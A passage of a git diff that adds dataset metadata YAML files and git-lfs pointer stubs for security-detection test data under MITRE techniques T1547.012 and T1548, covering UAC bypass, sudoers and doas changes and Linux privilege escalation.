b/datasets/attack_techniques/T1547.012/print_reg/sysmon_print-414f579a-a488-45dd-950d-d3bb2568dd43.log new file mode 100644 index 000000000..76faa1e47 --- /dev/null +++ b/datasets/attack_techniques/T1547.012/print_reg/sysmon_print-414f579a-a488-45dd-950d-d3bb2568dd43.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:879bb4649b6adb89e85716cb9627d3ada521959996ca3b17b44c1b96574bd524 +size 1106 diff --git a/datasets/attack_techniques/T1547.012/printnightmare/T1547.012_printnightmare.yml b/datasets/attack_techniques/T1547.012/printnightmare/T1547.012_printnightmare.yml new file mode 100644 index 000000000..06e9e64ed --- /dev/null +++ b/datasets/attack_techniques/T1547.012/printnightmare/T1547.012_printnightmare.yml @@ -0,0 +1,12 @@ +author: STRT +id: 77959833-d60f-47a3-b9f1-b11fddf4cbbb +date: '2026-07-11' +description: Curated attack data generated for detection Spoolsv Spawning Rundll32 +environment: attack_range +directory: printnightmare +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1547.012/printnightmare/windows-sysmon-77959833-d60f-47a3-b9f1-b11fddf4cbbb.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1547.012/printnightmare/windows-sysmon-77959833-d60f-47a3-b9f1-b11fddf4cbbb.log b/datasets/attack_techniques/T1547.012/printnightmare/windows-sysmon-77959833-d60f-47a3-b9f1-b11fddf4cbbb.log new file mode 100644 index 000000000..71281980b --- /dev/null +++ b/datasets/attack_techniques/T1547.012/printnightmare/windows-sysmon-77959833-d60f-47a3-b9f1-b11fddf4cbbb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f3eca416e5c8e74daa49fcdf8240913c98cd36139a645cde294d4b55f62ad982 +size 15238 diff --git a/datasets/attack_techniques/T1548.001/chmod_uid/T1548.001_chmod_uid.yml b/datasets/attack_techniques/T1548.001/chmod_uid/T1548.001_chmod_uid.yml new file mode 100644 index 000000000..e2c6f299a --- /dev/null +++ b/datasets/attack_techniques/T1548.001/chmod_uid/T1548.001_chmod_uid.yml @@ -0,0 +1,13 @@ +author: STRT +id: 652884fc-18a5-47ea-875f-d7bc2966224f +date: '2026-07-10' +description: Curated attack data generated for detection Linux Change File Owner To + Root +environment: attack_range +directory: chmod_uid +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548.001/chmod_uid/sysmon_linux-652884fc-18a5-47ea-875f-d7bc2966224f.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548.001/chmod_uid/sysmon_linux-652884fc-18a5-47ea-875f-d7bc2966224f.log b/datasets/attack_techniques/T1548.001/chmod_uid/sysmon_linux-652884fc-18a5-47ea-875f-d7bc2966224f.log new file mode 100644 index 000000000..1213a189a --- /dev/null +++ b/datasets/attack_techniques/T1548.001/chmod_uid/sysmon_linux-652884fc-18a5-47ea-875f-d7bc2966224f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fea6106c5f5649e10e0ffc320aaf4afc0a8185179d3ec51ffd8b4273dba6289d +size 4510 diff --git a/datasets/attack_techniques/T1548.001/linux_setcap/T1548.001_linux_setcap.yml b/datasets/attack_techniques/T1548.001/linux_setcap/T1548.001_linux_setcap.yml new file mode 100644 index 000000000..d8354736f --- /dev/null +++ b/datasets/attack_techniques/T1548.001/linux_setcap/T1548.001_linux_setcap.yml @@ -0,0 +1,13 @@ +author: STRT +id: 943292be-1fb5-44bf-a706-5848771107ad +date: '2026-07-10' +description: Curated attack data generated for detection Linux Setuid Using Setcap + Utility +environment: attack_range +directory: linux_setcap +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548.001/linux_setcap/sysmon_linux-943292be-1fb5-44bf-a706-5848771107ad.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548.001/linux_setcap/sysmon_linux-943292be-1fb5-44bf-a706-5848771107ad.log b/datasets/attack_techniques/T1548.001/linux_setcap/sysmon_linux-943292be-1fb5-44bf-a706-5848771107ad.log new file mode 100644 index 000000000..c4a63c4e0 --- /dev/null +++ b/datasets/attack_techniques/T1548.001/linux_setcap/sysmon_linux-943292be-1fb5-44bf-a706-5848771107ad.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:21100ad6e3f5eb03a2e6efbf0739a2aef4f34a82f428b4f276df6df09fca37ec +size 12148 diff --git a/datasets/attack_techniques/T1548.002/LocalAccountTokenFilterPolicy/T1548.002_LocalAccountTokenFilterPolicy.yml b/datasets/attack_techniques/T1548.002/LocalAccountTokenFilterPolicy/T1548.002_LocalAccountTokenFilterPolicy.yml new file mode 100644 index 000000000..db1f98101 --- /dev/null +++ b/datasets/attack_techniques/T1548.002/LocalAccountTokenFilterPolicy/T1548.002_LocalAccountTokenFilterPolicy.yml @@ -0,0 +1,12 @@ +author: STRT +id: 8a351a3b-5219-4cdc-81ee-63b564e963c5 +date: '2026-07-10' +description: Curated attack data generated for detection Disable UAC Remote Restriction +environment: attack_range +directory: LocalAccountTokenFilterPolicy +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1548.002/LocalAccountTokenFilterPolicy/sysmon-8a351a3b-5219-4cdc-81ee-63b564e963c5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548.002/LocalAccountTokenFilterPolicy/sysmon-8a351a3b-5219-4cdc-81ee-63b564e963c5.log b/datasets/attack_techniques/T1548.002/LocalAccountTokenFilterPolicy/sysmon-8a351a3b-5219-4cdc-81ee-63b564e963c5.log new file mode 100644 index 000000000..1d4ab71b5 --- /dev/null +++ b/datasets/attack_techniques/T1548.002/LocalAccountTokenFilterPolicy/sysmon-8a351a3b-5219-4cdc-81ee-63b564e963c5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4b500341fcf5086f1fa9762aff1ce97614e884a0146343808e18d03311df8404 +size 1070 diff --git a/datasets/attack_techniques/T1548.002/atomic_red_team/T1548.002_atomic_red_team.yml b/datasets/attack_techniques/T1548.002/atomic_red_team/T1548.002_atomic_red_team.yml new file mode 100644 index 000000000..f3a746652 --- /dev/null +++ b/datasets/attack_techniques/T1548.002/atomic_red_team/T1548.002_atomic_red_team.yml @@ -0,0 +1,17 @@ +author: STRT +id: 69110119-8feb-4014-904a-7a0cea7f4290 +date: '2026-07-11' +description: Curated attack data generated for detection Disabling Remote User Account + Control +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1548.002/atomic_red_team/windows-sysmon-69110119-8feb-4014-904a-7a0cea7f4290.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: dism_pswa_4688_windows-security + path: /datasets/attack_techniques/T1548.002/atomic_red_team/dism_pswa_4688_windows-security-69110119-8feb-4014-904a-7a0cea7f4290.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1548.002/atomic_red_team/dism_pswa_4688_windows-security-69110119-8feb-4014-904a-7a0cea7f4290.log b/datasets/attack_techniques/T1548.002/atomic_red_team/dism_pswa_4688_windows-security-69110119-8feb-4014-904a-7a0cea7f4290.log new file mode 100644 index 000000000..8eb09d669 --- /dev/null +++ b/datasets/attack_techniques/T1548.002/atomic_red_team/dism_pswa_4688_windows-security-69110119-8feb-4014-904a-7a0cea7f4290.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fa6bf0f5cb07b23ebaed5be176565a80f760bb32532f027a818be4ef21a0dd89 +size 1365 diff --git a/datasets/attack_techniques/T1548.002/atomic_red_team/windows-sysmon-69110119-8feb-4014-904a-7a0cea7f4290.log b/datasets/attack_techniques/T1548.002/atomic_red_team/windows-sysmon-69110119-8feb-4014-904a-7a0cea7f4290.log new file mode 100644 index 000000000..2bdb96cce --- /dev/null +++ b/datasets/attack_techniques/T1548.002/atomic_red_team/windows-sysmon-69110119-8feb-4014-904a-7a0cea7f4290.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5d4fcae41c7a83f7ace10c60cf5bc1dfe4c4c58b4d6acabe9bf3d590c295d9b3 +size 8212 diff --git a/datasets/attack_techniques/T1548.002/computerdefaults_spawn_proc/T1548.002_computerdefaults_spawn_proc.yml b/datasets/attack_techniques/T1548.002/computerdefaults_spawn_proc/T1548.002_computerdefaults_spawn_proc.yml new file mode 100644 index 000000000..6aab42d6b --- /dev/null +++ b/datasets/attack_techniques/T1548.002/computerdefaults_spawn_proc/T1548.002_computerdefaults_spawn_proc.yml @@ -0,0 +1,13 @@ +author: STRT +id: 121516ee-49d5-4247-814e-a942fd7dcfa7 +date: '2026-07-11' +description: Curated attack data generated for detection Windows ComputerDefaults + Spawning a Process +environment: attack_range +directory: computerdefaults_spawn_proc +mitre_technique: [] +datasets: +- name: computerdefaults_process + path: /datasets/attack_techniques/T1548.002/computerdefaults_spawn_proc/computerdefaults_process-121516ee-49d5-4247-814e-a942fd7dcfa7.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548.002/computerdefaults_spawn_proc/computerdefaults_process-121516ee-49d5-4247-814e-a942fd7dcfa7.log b/datasets/attack_techniques/T1548.002/computerdefaults_spawn_proc/computerdefaults_process-121516ee-49d5-4247-814e-a942fd7dcfa7.log new file mode 100644 index 000000000..9d293d144 --- /dev/null +++ b/datasets/attack_techniques/T1548.002/computerdefaults_spawn_proc/computerdefaults_process-121516ee-49d5-4247-814e-a942fd7dcfa7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a308479720261cd430531618830e8cb20009fa63c491a1050ba7faea108e40b1 +size 1841 diff --git a/datasets/attack_techniques/T1548.002/slui/T1548.002_slui.yml b/datasets/attack_techniques/T1548.002/slui/T1548.002_slui.yml new file mode 100644 index 000000000..e15b36977 --- /dev/null +++ b/datasets/attack_techniques/T1548.002/slui/T1548.002_slui.yml @@ -0,0 +1,12 @@ +author: STRT +id: c23b0539-87ac-4f26-873b-b20360567356 +date: '2026-07-11' +description: Curated attack data generated for detection SLUI RunAs Elevated +environment: attack_range +directory: slui +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1548.002/slui/windows-sysmon-c23b0539-87ac-4f26-873b-b20360567356.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548.002/slui/windows-sysmon-c23b0539-87ac-4f26-873b-b20360567356.log b/datasets/attack_techniques/T1548.002/slui/windows-sysmon-c23b0539-87ac-4f26-873b-b20360567356.log new file mode 100644 index 000000000..68658a4ec --- /dev/null +++ b/datasets/attack_techniques/T1548.002/slui/windows-sysmon-c23b0539-87ac-4f26-873b-b20360567356.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1ce3754e6b45c82204200327aa8cc4eef3c608a4484fb4374df70dc2c3bc65ab +size 24621 diff --git a/datasets/attack_techniques/T1548.002/uac_behavior/T1548.002_uac_behavior.yml b/datasets/attack_techniques/T1548.002/uac_behavior/T1548.002_uac_behavior.yml new file mode 100644 index 000000000..dc21b1895 --- /dev/null +++ b/datasets/attack_techniques/T1548.002/uac_behavior/T1548.002_uac_behavior.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3075903e-49c0-41d7-aa2a-80f1c4ae0a45 +date: '2026-07-11' +description: Curated attack data generated for detection Windows UAC Bypass Suspicious + Child Process +environment: attack_range +directory: uac_behavior +mitre_technique: [] +datasets: +- name: uac_behavior_sysmon + path: /datasets/attack_techniques/T1548.002/uac_behavior/uac_behavior_sysmon-3075903e-49c0-41d7-aa2a-80f1c4ae0a45.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548.002/uac_behavior/uac_behavior_sysmon-3075903e-49c0-41d7-aa2a-80f1c4ae0a45.log b/datasets/attack_techniques/T1548.002/uac_behavior/uac_behavior_sysmon-3075903e-49c0-41d7-aa2a-80f1c4ae0a45.log new file mode 100644 index 000000000..4d4263f6f --- /dev/null +++ b/datasets/attack_techniques/T1548.002/uac_behavior/uac_behavior_sysmon-3075903e-49c0-41d7-aa2a-80f1c4ae0a45.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b0ec165b7c51b8cda7126d56979d8e236f72007aced9a57dde82e28bbaf0cec5 +size 16834 diff --git a/datasets/attack_techniques/T1548.003/auditd_path_cwd_doas_conf/T1548.003_auditd_path_cwd_doas_conf.yml b/datasets/attack_techniques/T1548.003/auditd_path_cwd_doas_conf/T1548.003_auditd_path_cwd_doas_conf.yml new file mode 100644 index 000000000..96dde0632 --- /dev/null +++ b/datasets/attack_techniques/T1548.003/auditd_path_cwd_doas_conf/T1548.003_auditd_path_cwd_doas_conf.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5bd4f28b-b9e5-4127-b050-7f1694e51271 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Auditd Doas Conf File + Creation +environment: attack_range +directory: auditd_path_cwd_doas_conf +mitre_technique: [] +datasets: +- name: path_doas + path: /datasets/attack_techniques/T1548.003/auditd_path_cwd_doas_conf/path_doas-5bd4f28b-b9e5-4127-b050-7f1694e51271.log + sourcetype: auditd + source: auditd diff --git a/datasets/attack_techniques/T1548.003/auditd_path_cwd_doas_conf/path_doas-5bd4f28b-b9e5-4127-b050-7f1694e51271.log b/datasets/attack_techniques/T1548.003/auditd_path_cwd_doas_conf/path_doas-5bd4f28b-b9e5-4127-b050-7f1694e51271.log new file mode 100644 index 000000000..797b190d5 --- /dev/null +++ b/datasets/attack_techniques/T1548.003/auditd_path_cwd_doas_conf/path_doas-5bd4f28b-b9e5-4127-b050-7f1694e51271.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:947c804bb49da530e7d553c949312e98319d4a5675e29976821eb46ddc736f00 +size 343 diff --git a/datasets/attack_techniques/T1548.003/auditd_path_sudoers/T1548.003_auditd_path_sudoers.yml b/datasets/attack_techniques/T1548.003/auditd_path_sudoers/T1548.003_auditd_path_sudoers.yml new file mode 100644 index 000000000..9482b262c --- /dev/null +++ b/datasets/attack_techniques/T1548.003/auditd_path_sudoers/T1548.003_auditd_path_sudoers.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9aade158-6dd0-4b7c-ad1c-4c960384e195 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Auditd Possible Access + To Sudoers File +environment: attack_range +directory: auditd_path_sudoers +mitre_technique: [] +datasets: +- name: path_sudoers + path: /datasets/attack_techniques/T1548.003/auditd_path_sudoers/path_sudoers-9aade158-6dd0-4b7c-ad1c-4c960384e195.log + sourcetype: auditd + source: auditd diff --git a/datasets/attack_techniques/T1548.003/auditd_path_sudoers/path_sudoers-9aade158-6dd0-4b7c-ad1c-4c960384e195.log b/datasets/attack_techniques/T1548.003/auditd_path_sudoers/path_sudoers-9aade158-6dd0-4b7c-ad1c-4c960384e195.log new file mode 100644 index 000000000..b57961472 --- /dev/null +++ b/datasets/attack_techniques/T1548.003/auditd_path_sudoers/path_sudoers-9aade158-6dd0-4b7c-ad1c-4c960384e195.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9f55f463fdafd29bad3cbe9dc027dbc169e57f7d7adaa83cfddca2b03a76af2e +size 765 diff --git a/datasets/attack_techniques/T1548.003/doas/T1548.003_doas.yml b/datasets/attack_techniques/T1548.003/doas/T1548.003_doas.yml new file mode 100644 index 000000000..f24181d7c --- /dev/null +++ b/datasets/attack_techniques/T1548.003/doas/T1548.003_doas.yml @@ -0,0 +1,12 @@ +author: STRT +id: 68f35f0b-38da-4ff1-9844-8628bf207891 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Doas Conf File Creation +environment: attack_range +directory: doas +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548.003/doas/sysmon_linux-68f35f0b-38da-4ff1-9844-8628bf207891.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548.003/doas/sysmon_linux-68f35f0b-38da-4ff1-9844-8628bf207891.log b/datasets/attack_techniques/T1548.003/doas/sysmon_linux-68f35f0b-38da-4ff1-9844-8628bf207891.log new file mode 100644 index 000000000..68db76438 --- /dev/null +++ b/datasets/attack_techniques/T1548.003/doas/sysmon_linux-68f35f0b-38da-4ff1-9844-8628bf207891.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f093c13c2c2d719a793b5a14d61056da7d50e28396a6b7d5e0551991cfcc407a +size 902 diff --git a/datasets/attack_techniques/T1548.003/doas_exec/T1548.003_doas_exec.yml b/datasets/attack_techniques/T1548.003/doas_exec/T1548.003_doas_exec.yml new file mode 100644 index 000000000..bcb3f56d5 --- /dev/null +++ b/datasets/attack_techniques/T1548.003/doas_exec/T1548.003_doas_exec.yml @@ -0,0 +1,12 @@ +author: STRT +id: d016632a-77dd-4b75-9903-ac65c3351c89 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Doas Tool Execution +environment: attack_range +directory: doas_exec +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548.003/doas_exec/sysmon_linux-d016632a-77dd-4b75-9903-ac65c3351c89.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548.003/doas_exec/sysmon_linux-d016632a-77dd-4b75-9903-ac65c3351c89.log b/datasets/attack_techniques/T1548.003/doas_exec/sysmon_linux-d016632a-77dd-4b75-9903-ac65c3351c89.log new file mode 100644 index 000000000..44cf6af0b --- /dev/null +++ b/datasets/attack_techniques/T1548.003/doas_exec/sysmon_linux-d016632a-77dd-4b75-9903-ac65c3351c89.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1103c6d15d857816fccae7b804ac08e766638a3afd44430bbb585164e76bde88 +size 2333 diff --git a/datasets/attack_techniques/T1548.003/linux_adduser/T1548.003_linux_adduser.yml b/datasets/attack_techniques/T1548.003/linux_adduser/T1548.003_linux_adduser.yml new file mode 100644 index 000000000..59d43c723 --- /dev/null +++ b/datasets/attack_techniques/T1548.003/linux_adduser/T1548.003_linux_adduser.yml @@ -0,0 +1,12 @@ +author: STRT +id: 2d70b381-1f47-4535-8a72-721da1b37865 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Add User Account +environment: attack_range +directory: linux_adduser +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548.003/linux_adduser/sysmon_linux-2d70b381-1f47-4535-8a72-721da1b37865.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548.003/linux_adduser/sysmon_linux-2d70b381-1f47-4535-8a72-721da1b37865.log b/datasets/attack_techniques/T1548.003/linux_adduser/sysmon_linux-2d70b381-1f47-4535-8a72-721da1b37865.log new file mode 100644 index 000000000..369689ca3 --- /dev/null +++ b/datasets/attack_techniques/T1548.003/linux_adduser/sysmon_linux-2d70b381-1f47-4535-8a72-721da1b37865.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2bbc1d7cfd638f2dcc5b3407e4f0097f134bd1f2867503223019dd3bb53f997b +size 11542 diff --git a/datasets/attack_techniques/T1548.003/nopasswd_sudoers/T1548.003_nopasswd_sudoers.yml b/datasets/attack_techniques/T1548.003/nopasswd_sudoers/T1548.003_nopasswd_sudoers.yml new file mode 100644 index 000000000..cc1c4308e --- /dev/null +++ b/datasets/attack_techniques/T1548.003/nopasswd_sudoers/T1548.003_nopasswd_sudoers.yml @@ -0,0 +1,13 @@ +author: STRT +id: 6c1a9c96-63e6-45dc-b06c-4d21d04d108e +date: '2026-07-10' +description: Curated attack data generated for detection Linux NOPASSWD Entry In Sudoers + File +environment: attack_range +directory: nopasswd_sudoers +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548.003/nopasswd_sudoers/sysmon_linux-6c1a9c96-63e6-45dc-b06c-4d21d04d108e.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548.003/nopasswd_sudoers/sysmon_linux-6c1a9c96-63e6-45dc-b06c-4d21d04d108e.log b/datasets/attack_techniques/T1548.003/nopasswd_sudoers/sysmon_linux-6c1a9c96-63e6-45dc-b06c-4d21d04d108e.log new file mode 100644 index 000000000..9a57db6f4 --- /dev/null +++ b/datasets/attack_techniques/T1548.003/nopasswd_sudoers/sysmon_linux-6c1a9c96-63e6-45dc-b06c-4d21d04d108e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a171662e26838739f977dfe47caf25dadd6a22dbf519b6e2dceb6abbbe1e176d +size 6052 diff --git a/datasets/attack_techniques/T1548.003/sudo_su/T1548.003_sudo_su.yml b/datasets/attack_techniques/T1548.003/sudo_su/T1548.003_sudo_su.yml new file mode 100644 index 000000000..0776a0b8b --- /dev/null +++ b/datasets/attack_techniques/T1548.003/sudo_su/T1548.003_sudo_su.yml @@ -0,0 +1,12 @@ +author: STRT +id: a76d589b-6f7f-4763-b57e-3ae7effd2bee +date: '2026-07-10' +description: Curated attack data generated for detection Linux Sudo OR Su Execution +environment: attack_range +directory: sudo_su +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548.003/sudo_su/sysmon_linux-a76d589b-6f7f-4763-b57e-3ae7effd2bee.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548.003/sudo_su/sysmon_linux-a76d589b-6f7f-4763-b57e-3ae7effd2bee.log b/datasets/attack_techniques/T1548.003/sudo_su/sysmon_linux-a76d589b-6f7f-4763-b57e-3ae7effd2bee.log new file mode 100644 index 000000000..3ca55c9f1 --- /dev/null +++ b/datasets/attack_techniques/T1548.003/sudo_su/sysmon_linux-a76d589b-6f7f-4763-b57e-3ae7effd2bee.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:61831edc4e24631ce18e4efaaa5525750ec190df0cc5d271405a6a6a6a4c5f77 +size 4456 diff --git a/datasets/attack_techniques/T1548.003/sudoers_temp/T1548.003_sudoers_temp.yml b/datasets/attack_techniques/T1548.003/sudoers_temp/T1548.003_sudoers_temp.yml new file mode 100644 index 000000000..fe4b5cf61 --- /dev/null +++ b/datasets/attack_techniques/T1548.003/sudoers_temp/T1548.003_sudoers_temp.yml @@ -0,0 +1,12 @@ +author: STRT +id: cf305413-cc15-4daa-8fdf-2003d615eef5 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Sudoers Tmp File Creation +environment: attack_range +directory: sudoers_temp +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548.003/sudoers_temp/sysmon_linux-cf305413-cc15-4daa-8fdf-2003d615eef5.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548.003/sudoers_temp/sysmon_linux-cf305413-cc15-4daa-8fdf-2003d615eef5.log b/datasets/attack_techniques/T1548.003/sudoers_temp/sysmon_linux-cf305413-cc15-4daa-8fdf-2003d615eef5.log new file mode 100644 index 000000000..3fa749579 --- /dev/null +++ b/datasets/attack_techniques/T1548.003/sudoers_temp/sysmon_linux-cf305413-cc15-4daa-8fdf-2003d615eef5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b5b84ba2c657d9c5c49c17e25cf13a0a17c3215e45f1c35d1415d469b078846a +size 939 diff --git a/datasets/attack_techniques/T1548.003/visudo/T1548.003_visudo.yml b/datasets/attack_techniques/T1548.003/visudo/T1548.003_visudo.yml new file mode 100644 index 000000000..27b977b5a --- /dev/null +++ b/datasets/attack_techniques/T1548.003/visudo/T1548.003_visudo.yml @@ -0,0 +1,12 @@ +author: STRT +id: 35c17afd-e411-48d0-a84f-a874498feb43 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Visudo Utility Execution +environment: attack_range +directory: visudo +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548.003/visudo/sysmon_linux-35c17afd-e411-48d0-a84f-a874498feb43.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548.003/visudo/sysmon_linux-35c17afd-e411-48d0-a84f-a874498feb43.log b/datasets/attack_techniques/T1548.003/visudo/sysmon_linux-35c17afd-e411-48d0-a84f-a874498feb43.log new file mode 100644 index 000000000..24ad8ea1d --- /dev/null +++ b/datasets/attack_techniques/T1548.003/visudo/sysmon_linux-35c17afd-e411-48d0-a84f-a874498feb43.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5877cac6e8f5ff9ff1229775ba65a1b077d150e39f58e90899d265da4663c1f4 +size 2286 diff --git a/datasets/attack_techniques/T1548/apt/T1548_apt.yml b/datasets/attack_techniques/T1548/apt/T1548_apt.yml new file mode 100644 index 000000000..3c316ccf1 --- /dev/null +++ b/datasets/attack_techniques/T1548/apt/T1548_apt.yml @@ -0,0 +1,12 @@ +author: STRT +id: 301f77ea-13d2-4f3c-86a6-a0b691913857 +date: '2026-07-10' +description: Curated attack data generated for detection Linux APT Privilege Escalation +environment: attack_range +directory: apt +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/apt/sysmon_linux-301f77ea-13d2-4f3c-86a6-a0b691913857.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/apt/sysmon_linux-301f77ea-13d2-4f3c-86a6-a0b691913857.log b/datasets/attack_techniques/T1548/apt/sysmon_linux-301f77ea-13d2-4f3c-86a6-a0b691913857.log new file mode 100644 index 000000000..d08a1b662 --- /dev/null +++ b/datasets/attack_techniques/T1548/apt/sysmon_linux-301f77ea-13d2-4f3c-86a6-a0b691913857.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:57a0ecdfe90b3e12e88f175ca0ee8b3e57100f2f8104b82c19c37d05d3f6472d +size 1514 diff --git a/datasets/attack_techniques/T1548/apt_get/T1548_apt_get.yml b/datasets/attack_techniques/T1548/apt_get/T1548_apt_get.yml new file mode 100644 index 000000000..808c965a3 --- /dev/null +++ b/datasets/attack_techniques/T1548/apt_get/T1548_apt_get.yml @@ -0,0 +1,12 @@ +author: STRT +id: 361a54dd-b8e0-4ded-8e24-2fa92cf434f1 +date: '2026-07-10' +description: Curated attack data generated for detection Linux APT Privilege Escalation +environment: attack_range +directory: apt_get +mitre_technique: [] +datasets: +- name: cisco_isovalent + path: /datasets/attack_techniques/T1548/apt_get/cisco_isovalent-361a54dd-b8e0-4ded-8e24-2fa92cf434f1.log + sourcetype: cisco:isovalent:processExec + source: not_applicable diff --git a/datasets/attack_techniques/T1548/apt_get/cisco_isovalent-361a54dd-b8e0-4ded-8e24-2fa92cf434f1.log b/datasets/attack_techniques/T1548/apt_get/cisco_isovalent-361a54dd-b8e0-4ded-8e24-2fa92cf434f1.log new file mode 100644 index 000000000..b9ec77d74 --- /dev/null +++ b/datasets/attack_techniques/T1548/apt_get/cisco_isovalent-361a54dd-b8e0-4ded-8e24-2fa92cf434f1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fe35234020b6fd782a26e26bff1a940735d53209da6103c72be1a58f71c2c00c +size 8740 diff --git a/datasets/attack_techniques/T1548/awk/T1548_awk.yml b/datasets/attack_techniques/T1548/awk/T1548_awk.yml new file mode 100644 index 000000000..13107e442 --- /dev/null +++ b/datasets/attack_techniques/T1548/awk/T1548_awk.yml @@ -0,0 +1,12 @@ +author: STRT +id: a504fe15-5e93-4efc-8de2-01c7648a0477 +date: '2026-07-10' +description: Curated attack data generated for detection Linux AWK Privilege Escalation +environment: attack_range +directory: awk +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/awk/sysmon_linux-a504fe15-5e93-4efc-8de2-01c7648a0477.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/awk/sysmon_linux-a504fe15-5e93-4efc-8de2-01c7648a0477.log b/datasets/attack_techniques/T1548/awk/sysmon_linux-a504fe15-5e93-4efc-8de2-01c7648a0477.log new file mode 100644 index 000000000..bf34998d4 --- /dev/null +++ b/datasets/attack_techniques/T1548/awk/sysmon_linux-a504fe15-5e93-4efc-8de2-01c7648a0477.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid 